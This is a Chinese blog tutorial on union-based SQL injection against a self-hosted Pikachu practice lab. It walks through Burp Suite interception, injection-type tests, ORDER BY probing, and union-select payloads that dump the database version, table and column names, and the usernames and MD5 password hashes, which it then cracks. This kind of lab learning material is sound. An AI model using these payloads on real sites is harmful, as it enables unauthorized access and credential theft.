侧边栏壁纸
博主头像
douQiuYu343的小破站 博主等级

人最宝贵的东西是生命,生命对于每个人只有一次。人的一生应该是这样度过的:当他回首往事的时候,他不会因为虚度年华而悔恨,也不会因为碌碌无为而羞愧。 这样,在临死的时候,他就能够说:“我的整个生命和全部的精力,都献给世界上最壮丽的事业——为人类的解放而斗争。”

  • 累计撰写 6 篇文章
  • 累计创建 3 个标签
  • 累计收到 0 条评论

目 录CONTENT

文章目录

SQL注入 —— union注入

douQiuYu343
2025-08-26 / 0 评论 / 0 点赞 / 52 阅读 / 0 字

序言

本章是使用bp与代理服务器,使用SQL注入的方式,拦截网页信息,并攻入SQL漏洞,实现侵入目的,相对于弱密码,这是一钟比较优雅的,高效的攻击方式,当然还是那句话:请各位读者在自建的或者合法的靶场进行操作。如果有知识产权或者本文章错误的地方请在评论区留言或者通过网站博主板块的联系方式告知我,我会及时处理!!!谢谢大家!!!

此处为国家法律规定——>http://www.npc.gov.cn/zgrdw/npc/xinwen/2016-11/07/content_2001605.htm

一、准备阶段

这次我们不需要准备太多的东西,在弱密码爆破的那章节,我已经介绍了bp的安装和代码的服务器的配置,如果有需要可以前往此处安装bp和配置bp

1.bp工具与浏览器设置

打开bp是拦截功能,拦截我们需要SQL注入的网页,设置如下
image-xgAZ.png
打开设置好的火狐浏览器,打开拦截网页代码服务器
image-emxr.png

2.准备靶场

这次我们使用的时本地搭建的Pikachu靶场,各位自行去github地址git一下
git clone https://github.com/zhuifengshaonianhanlu/pikachu.git
如果没有git,也可以去自行下载
https://github.com/zhuifengshaonianhanlu/pikachu
下载完,复制到我们本地phpstudy里面,或者是其他的服务器面板管理网站中,确保搭建的服务器机器要有PHP+MYSQL+中间件(如apache,nginx等),这里我设置为pkqmst,我已经安装过一个了,区分一下
image-PCPJ.png
在输入本地网址前,需要配置靶场数据库信息,到下载文件下的根目录找到~\pkqmst\inc\config.inc.php文件,然后打开它
image-Dyst.png
在'DBPW'配置项后面值中输入你设置的本地数据库密码
image-jKSL.png
然后输入网址localhost/pkqmst进入主页,点击首页上的红字超链接,进入初始化界面,再点击初始化,数据库搞好了,我们可以开始玩漏洞了。
image-mLZy.png

注意如果我们发现进入主页后,出现SQL报错,而不是红字,请使用localhost/pkqmst/install.php

二、实验操作

本章我们玩的是最简单的SQL注入——Union注⼊,这里以案例——数字型注入为例

注意这里我们知道它们是数字或者字符,但在ctf站上,基本不会告诉你网站是什么类型的,所以你要自己去试
测试方式,就是看后面跟的post值注入时是否有错误反馈
数字型注入测试:1 or 1=1,没有错误反馈,并且输出结果,那就是数字型
字符型注入测试:a' or 'a'='a/a" or "a"="a,没有错误反馈,并且输出结果,那就是字符型
当然这不是一定就能测出现,实在不行就试试回显order by/select 1,2,3

1.检测

地址为http://localhost/pkqmst/vul/sqli/sqli_id.php
我们看到网页没有输入框怎么回事,只有选择框,选择框点击就出现了文字,不清楚先用bp拦截此网页看看有啥东西
,一看奥~是id啊,我们直接在bp上修改,使用万能密码放行
image-lxbI.png
image-hyDu.png
我们发现万能公式直接出来了一大堆,那就不客气,
image-ddrc.png
在bp中,拦截的post键是id,那么我们就继续修改键值,攻击网站,同样的方式回显看看输出几个数据,这里我们发现如果1 order by x(x是测试值,整型常量),试1没事,试2没事,试3好报错了,不用看了,他就支持回显数据库的两个量
image-NcVU.png
我们就可以开始使用union开始select方式查库,不过只能select 1,2

2.union注入

首先我们要知道服务器用的是什么数据库版本,数据库名叫什么
使用-1 union select version(),database()
image-KNqd.png
这里我们看到了数据库的版本是5.5.53,数据库为pikachu。接下来数据库知道,再看看数据库有几张表,哪个是我们需要的
使用-1 union select group_concat(table_name),database() from information_schema.tables where table_schema=database()
image-GtfD.png
这么多表啊,httpinfo,member,message,users,xssblind。哎~user表,这好像是我们需要的,再用列查询看看有几列,列名是什么
使用-1 union select group_concat(column_name),database() from information_schema.columns where table_name="users"
image-hBIW.png
列名也出来了,接下来就是查看我们想要的信息了,直接select语句查找,
使用-1 union select group_concat(username),group_concat(password) from users
image-lxRv.png

出现错误不用怕,可能是列名不对,多试几个

我们知道了用户名,但是密码好像不对劲,不用慌,这个属于加密,对照多种加密方式特征,这个大概率属于MD5加密,找一个网站或者自己写一个py转换程序,得出这几个密码真实面貌是什么
e10adc3949ba59abbe56e057f20f883e:
image-aqtk.png
670b14728ad9902aecba32e22fa4f6bd:
image-iEXa.png
e99a18c428cb38d5f260853678922e03:
image-XQPQ.png

三、总结

SQL注入首先得确定网站有回显,其次数据查询语句里面试数字型还是文本型,然后使用union注入,从查库开始,到查表,最后查询列名,得到有用的信息,找到密码和用户名,一般密码会加密,所以我们还是大致了解加密的基本类型和它们的特征,从而快速解码。SQL注入相比于爆破是比较优雅的,温和的方式,也是入侵手段中最接触数据的手段。最后感谢大家观看。

一定要在规定的靶场内进行操作,出了事情我可不负责!!!!本章只是分享SQL注入的学习笔记而已。

0

评论区